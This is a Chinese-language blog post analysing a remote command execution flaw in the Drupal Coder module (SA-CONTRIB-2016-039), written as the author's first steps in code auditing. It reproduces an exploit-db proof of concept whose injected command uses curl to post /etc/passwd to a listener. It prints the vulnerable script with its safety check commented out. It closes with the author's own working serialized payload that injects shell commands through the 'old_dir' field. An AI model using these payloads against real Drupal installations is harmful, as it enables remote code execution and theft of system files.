Drupal Coder 模块远程命令执行分析(SA-CONTRIB-2016-039)

转载请注明文章出处:http://www.cnblogs.com/magic-zero/p/5787181.html

起初看到这个漏洞的时候是在exploit-db上边。地址在这里:https://www.exploit-db.com/exploits/40144/

后来在网上搜索了一下,发现几篇不错的分析。比如这个:http://seclab.dbappsecurity.com.cn/?p=1267

分析写的不错,想研究或者复现这个漏洞的不妨参考一下。当然也可以参考一下我的这篇文章。

从exploit-db的漏洞详情中,我们可以看到这个poc:

<?php
# Drupal module Coder Remote Code Execution (SA-CONTRIB-2016-039)
# https://www.drupal.org/node/2765575
# by Raz0r (http://raz0r.name)
 
$cmd = "curl -XPOST http://localhost:4444 -d @/etc/passwd";
$host = "http://localhost:81/drupal-7.12/";
 
$a = array(
    "upgrades" => array(
        "coder_upgrade" => array(
            "module" => "color",
            "files" => array("color.module")
        )
    ),
    "extensions" => array("module"),
    "items" => array (array("old_dir"=>"test; $cmd;", "new_dir"=>"test")),
    "paths" => array(
        "modules_base" => "../../../",
        "files_base" => "../../../../sites/default/files"
    )
);
$payload = serialize($a);
file_get_contents($host . "/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php?file=data://text/plain;base64," . base64_encode($payload));
?>

  然后在本地测试的时候发现并不能复现。所以决定下载代码重新分析。然后在网上找到了那篇文章。还是挺不错的。帮助理清了思路。

我们来分析:

0x00  我们首先定位漏洞的位置搞清楚执行流程

全局搜索,定位到了两处。其中的一处有我做测试时候的输出。

我们跟进去,

继续往上找。

在coder_upgrade_start函数的定义中使用了这个,继续跟进。

到了这个地方,我们大致搞清楚了流程。coder_upgrade.run.php中的items变量 --> main.inc 中的coder_upgrade_start() --> main.inc 中的 coder_upgrade_make_patch_file() --> shell_exec()执行。

所以,接着我们来尝试构造exp。

0x01 构造利用的exp

在coder_upgrade.run.php中,我们看到

set_error_handler("error_handler");
set_exception_handler("exception_handler");

  这样遇到warning就会退出,会给后边的构造带来很多的麻烦。另外这里还有一个判断。

我们本地测试就不去修改这个配置了。先注释掉这个判断。

<?php
/**
 * @file
 * Invokes the Coder Upgrade conversion routines as a separate process.
 *
 * Using this script:
 * - helps to minimize the memory usage by the web interface process
 * - helps to avoid hitting memory and processing time limits by the PHP process
 * - enables a batch processing workflow
 *
 * Parameters to this script:
 * @param string $path
 *   Path to a file containing runtime parameters
 *
 * The parameters should be stored as the serialized value of an associative
 * array with the following keys:
 * - paths: paths to files and modules
 * - theme_cache: path to core theme information cache
 * - variables: variables used by coder_upgrade
 * - upgrades: array to be passed to coder_upgrade_start()
 * - extensions: ditto
 * - items: ditto
 *
 * @see coder_upgrade_conversions_prepare()
 * @see coder_upgrade_parameters_save()
 * @see coder_upgrade_start()
 *
 * To execute this script, save the following shell script to a file and execute
 * the shell script from the root directory of your Drupal installation. If you
 * have changed the default coder_upgrade output directory name, then modify
 * this script accordingly.
 *
 * #!/bin/sh
 *
 * MODULES_DIRECTORY=[fill this in, e.g. all or mysite]
 * FILES_DIRECTORY=[fill this in, e.g. default or mysite]
 * CODER_UPGRADE_DIRECTORY=coder_upgrade [unless you changed it]
 * SCRIPT=sites/$MODULES_DIRECTORY/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php
 * RUNTIME=sites/$FILES_DIRECTORY/files/$CODER_UPGRADE_DIRECTORY/runtime.txt
 * OUTPUT=sites/$FILES_DIRECTORY/files/$CODER_UPGRADE_DIRECTORY/coder_upgrade.run.txt
 *
 * php $SCRIPT -- file=$RUNTIME > $OUTPUT 2>&1
 *
 * Alternatively, replace the bracketed items in the following command and
 * execute it from the root directory of your Drupal installation.
 *
 * php sites/[modules_directory]/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php 
 *  -- file=sites/[files_directory]/files/coder_upgrade/runtime.txt 
 *  > sites/[files_directory]/files/coder_upgrade/coder_upgrade.run.txt 2>&1
 *
 * Copyright 2009-11 by Jim Berry ("solotandem", http://drupal.org/user/240748)
 */

// if (!script_is_cli()) {
//   // Without proper web server configuration, this script can be invoked from a
//   // browser and is vulnerable to misuse.
//   return;
// }


// Save memory usage for printing later (when code is loaded).
$usage = array();
save_memory_usage('start', $usage);

/**
 * Root directory of Drupal installation.
 */
define('DRUPAL_ROOT', getcwd());

ini_set('display_errors', 1);
ini_set('memory_limit', '128M');
ini_set('max_execution_time', 180);
set_error_handler("error_handler");
set_exception_handler("exception_handler");

// Read command line arguments.
$path = extract_arguments(); //获取到file参数的值
if (is_null($path)) {
  echo 'No path to parameter file';
  return 2;
}


// Load runtime parameters.
$parameters = unserialize(file_get_contents($path));

// Extract individual array items by key.
foreach ($parameters as $key => $variable) {
  $$key = $variable;     //变量覆盖,也是问题发生的关键地方
}
save_memory_usage('load runtime parameters', $usage);

// Set global variables (whose names do not align with extracted parameters).
$_coder_upgrade_variables = $variables;
$_coder_upgrade_files_base = $paths['files_base'];
$_coder_upgrade_libraries_base = $paths['libraries_base'];
$_coder_upgrade_modules_base = $paths['modules_base'];

//以上的赋值需要构造,否则直接退出。


// Load core theme cache.
$_coder_upgrade_theme_registry = array();
if (is_file($theme_cache)) {
  $_coder_upgrade_theme_registry = unserialize(file_get_contents($theme_cache));
}
save_memory_usage('load core theme cache', $usage);

// Load coder_upgrade bootstrap code.
$path = $_coder_upgrade_modules_base . '/coder/coder_upgrade';
$files = array(
  'coder_upgrade.inc',
  'includes/main.inc',
  'includes/utility.inc',
);

foreach ($files as $file) {
  require_once DRUPAL_ROOT . '/' . $path . "/$file";
}

//循环去包含文件,其中的main.inc会触发漏洞

coder_upgrade_path_clear('memory');
print_memory_usage($usage);

// $trace_base = DRUPAL_ROOT . '/' . $_coder_upgrade_files_base . '/coder_upgrade/coder_upgrade_';
// $trace_file = $trace_base . '1.trace';
// xdebug_start_trace($trace_file);
coder_upgrade_memory_print('load coder_upgrade bootstrap code');
// xdebug_stop_trace();

echo "upgrades"."<br>";
var_dump($upgrades);

echo "extensions"."<br>";
var_dump($extensions);

echo "items"."<br>";
var_dump($items);  //调试输出的信息,原来的文件并没有


// Apply conversion functions.
$success = coder_upgrade_start($upgrades, $extensions, $items);  //关键性的items变量带入

// $trace_file = $trace_base . '2.trace';
// xdebug_start_trace($trace_file);
coder_upgrade_memory_print('finish');
// xdebug_stop_trace();

return $success ? 0 : 1;

/**
 * Returns command line arguments.
 *
 * @return mixed
 *   String or array of command line arguments.
 */
function extract_arguments() {
  switch (php_sapi_name()) {
    case 'apache':
    case 'apache2handler': // This is the value when running curl.
      if (!isset($_GET['file'])) {
        echo 'file parameter is not set';
        return;
      }
      $filename = $_GET['file'];
      $action = isset($_GET['action']) ? $_GET['action'] : '';
      break;

    case 'cli':
      $skip_args = 2;
      if ($_SERVER['argc'] == 2) {
        $skip_args = 1;
      }
      elseif ($_SERVER['argc'] < 2) {
        echo 'CLI-1: file parameter is not set' . "
";
        return;
      }
      foreach ($_SERVER['argv'] as $index => $arg) {
        // First two arguments are usually script filename and '--'.
        // Sometimes the '--' is omitted.
        if ($index < $skip_args) continue;
        list($key, $value) = explode('=', $arg);
        $arguments[$key] = $value;
      }
      if (!isset($arguments['file'])) {
        echo 'CLI-2: file parameter is not set' . "
";
        return;
      }
      $filename = $arguments['file'];
      $action = isset($arguments['action']) ? $arguments['action'] : '';
      break;
  }
  return $filename;
}

/**
 * Saves memory usage for printing later.
 *
 * @param string $step
 *   A string describing the code step when the memory usage is gathered.
 *
 * @return mixed
 *   String or array of command line arguments.
 */
function save_memory_usage($step, &$usage) {
  $usage[] = $step;
  $usage[] = 'Peak: ' . number_format(memory_get_peak_usage(TRUE), 0, '.', ',') . ' bytes';
  $usage[] = 'Curr: ' . number_format(memory_get_usage(TRUE), 0, '.', ',') . ' bytes';
  $usage[] = '';
  $usage[] = '';
}

function print_memory_usage($usage) {
  $text = 'Missing memory usage information';
  if (is_array($usage)) {
    $text = implode("
", $usage);
  }
  coder_upgrade_path_print(coder_upgrade_path('memory'), $text);
}

function exception_handler($e) {
  try {
    // ... normal exception stuff goes here
  }
  catch (Exception $e) {
    print get_class($e) . " thrown within the exception handler. Message: " . $e->getMessage() . " on line " . $e->getLine();
  }
}

function error_handler($code, $message, $file, $line) {
  if (0 == error_reporting()) {
    return;
  }
  throw new ErrorException($message, 0, $code, $file, $line);
}

/**
 * Returns boolean indicating whether script is being run from the command line.
 *
 * @see drupal_is_cli()
 */
function script_is_cli() {
  return (!isset($_SERVER['SERVER_SOFTWARE']) && (php_sapi_name() == 'cli' || (is_numeric($_SERVER['argc']) && $_SERVER['argc'] > 0)));
}

  对比原先的exp,我们加上两个变量:

"variables" => 1,
"theme_cache" => 1,

  最终的利用代码参考:

<?php 

$host = "http://192.168.30.134/test/coder/";
 
$a = array(
    "upgrades" => array(
        "coder_upgrade" => array(
            "module" => "coder",
            "files" => array("coder.module")
        )
    ),
    "variables" => 1,
    "theme_cache" => 1,
    "extensions" => array("module"),
    "items" => array (array("old_dir"=>"test;ipconfig;", "new_dir"=>"test;ipconfig;", "name"=>1)),
    "paths" => array(
        "modules_base" => "../../..",
        "files_base" => "../..",
        "libraries_base" => 1
    )
);
$payload = serialize($a);
echo file_get_contents($host . "coder_upgrade/scripts/coder_upgrade.run.php?file=data://text/plain;base64," . base64_encode($payload));

 ?>

  运行的结果会在当前的目录下生成一个文件夹:

原因是因为这个:

这里其实还有一个坑,是windows下测试的时候。用管道符"||"去拼接代码,进行执行的时候是有问题的。命令拼接虽然可以,但是由于创建文件早了一步,会因为无法创建而退出。关于这个暂时没有找到好的解决方案。如果有好的解决思路,请留言。

刚开始学习审计,多有不足之处,还请指出。

原文地址:https://www.cnblogs.com/magic-zero/p/5787181.html